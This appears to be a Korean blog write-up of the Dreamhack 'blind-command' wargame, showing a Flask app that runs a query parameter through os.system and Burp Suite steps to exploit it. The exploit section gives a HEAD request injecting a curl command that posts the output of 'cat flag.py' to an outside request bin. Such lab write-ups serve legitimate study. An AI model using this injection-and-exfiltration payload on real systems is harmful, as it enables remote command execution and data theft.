[Dreamhack] blind-command

2025. 3. 22. 22:26·Webhacking/Dreamhack
 

blind-command

Read the flag file XD Reference Web Hacking

dreamhack.io


Code

#!/usr/bin/env python3
from flask import Flask, request
import os

app = Flask(__name__)

@app.route('/' , methods=['GET'])
def index():
    cmd = request.args.get('cmd', '')
    if not cmd:
        return "?cmd=[cmd]"

    if request.method == 'GET':
        ''
    else:
        os.system(cmd)
    return cmd

app.run(host='0.0.0.0', port=8000)

문제 풀이

메인 화면이다.

request.args 에 cmd 가 없으면 ?cmd=[cmd] 텍스트를 return 한다.

위의 메인화면에 방문했을 때 ?cmd=[cmd] 텍스트만 뜬 이유는 request 에 해당하는 값이 없기 때문이다.

  • cmd 가 있을 경우
    • request 메소드가 GET 이 아닐 때, cmd 파라미터로 전달된 값을 시스템 명령어로 실행하는 것을 확인한다.
    • 메소드를 GET 이 아닌 다른 것으로 전환한다.
    • cmd 파라미터로 시스템 명령어를 전달한다.
    • request 보내는 방법을 시도한다.
메소드가 GET 이 아니면 cmd 파라미터로 전달된 값을 시스템 명령어로 실행한다.

익스플로잇

Next 를 클릭한다.

Start Burp 를 클릭한다.

Proxy -> Setting 을 클릭한 화면이다.

Proxy listeners 가 127.0.0.1:8080 으로 되어 있는 것을 확인한다.

Request interception rules 를 모두 활성화 한다.

Response interception rules 또한 모두 활성화 한다.

Proxy -> Intercept -> Open browser 를 클릭한다.

Open browser 클릭한 후 열린 사이트 주소란에 드림핵 주소를 삽입한다.

다시 Burp Suite 로 돌아온다.

  • Proxy -> HTTP history 클릭
    • Method 가 GET 으로 요청된 것을 클릭하면 Request, Response 정보가 확인 가능하다.
    • Request 정보에서 Method 가 GET 으로 되어있는 것이 확인 가능하다.

Request 창 우클릭 후 Send to Repeater 를 클릭한다.

Repeater 이동 후 Request 정보를 수정한다.

첫 줄을 OPTIONS /?cmd=ls 로 변경한다.

OPTIONS 라는 HTTP 메소드는 서버와 브라우저의 통신 옵션을 확인하는데 사용한다.
서버가 지원하는 Method, Header, Content Type 이 무엇인지 확인 가능하다.

Request 정보 변경 후 Send 를 클릭한다.

Response 를 확인해보면 허용하는 통신 옵션으로 OPTIONS, GET, HEAD 3가지가 있는 것이 확인 가능하다.

HEAD => GET 대신 사용하여 공격할 수 있는 옵션이다.

https://tools.dreamhack.games/ 로 접속하여 Request Bin 을 클릭한다.

해당 Request Bin 의 링크를 복사한다.

다시 Repeater 로 이동한다.

Request 의 첫 줄에서 OPTIONS /?cmd=ls 를 HEAD /?cmd=curl+<복사한 URL>+-d+"$(cat+flag.py)" 을 입력한다.

HEAD : 메소드이다.
cmd : 시스템 명령어로 실행할 파라미터의 이름이다.
curl : http 메시지를 쉘 상에서 요청, 결과를 확인하는 명령어다.
         -> http 를 이용해서 경로의 데이터를 가져온다.
+ : 띄어쓰기 이다.
복사한 URL : DreamhackTools 에서 복사한 링크이다.
d : curl 의 명령어 옵션으로 데이터를 POST 요청으로 전송한다.
"$(cat+flag.py)" : flag.py 를 간단하게 출력하는 쉘 명령어이다.

send 를 클릭한다.

플래그 획득

Dreamhack Tools 로 돌아오면 Post 요청 기록이 확인 가능하다.

POST 를 클릭하면 내부 데이터가 출력되면서 flag 가 확인 가능하다.

플래그가 정상적으로 도출되었다.

저작자표시 비영리 동일조건 (새창열림)

'Webhacking > Dreamhack' 카테고리의 다른 글

[Dreamhack] Carve Party  (0) 2025.03.16
[Dreamhack] web-ssrf  (0) 2025.03.16
[Dreamhack] file-download-1  (0) 2025.03.16
[Dreamhack] image-storage  (0) 2025.03.16
[Dreamhack] command-injection-1  (0) 2025.03.16
'Webhacking/Dreamhack' 카테고리의 다른 글
  • [Dreamhack] Carve Party
  • [Dreamhack] web-ssrf
  • [Dreamhack] file-download-1
  • [Dreamhack] image-storage
배움이 머무는 곳
배움이 머무는 곳
  • 배움이 머무는 곳
    wlgus
    배움이 머무는 곳
  • 전체
    오늘
    어제
    • 분류 전체보기 (68) N
      • 이것저것.zip (7)
      • CVE (6)
      • CTF (2)
      • Wargame (23) N
      • Webhacking (19)
        • WebGoat (2)
        • Dreamhack (15)
      • Web (5)
      • Pwnable (5)
        • Dreamhack (5)
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
    • 글쓰기
  • hELLO· Designed By정상우.v4.10.5
배움이 머무는 곳
[Dreamhack] blind-command
상단으로

티스토리툴바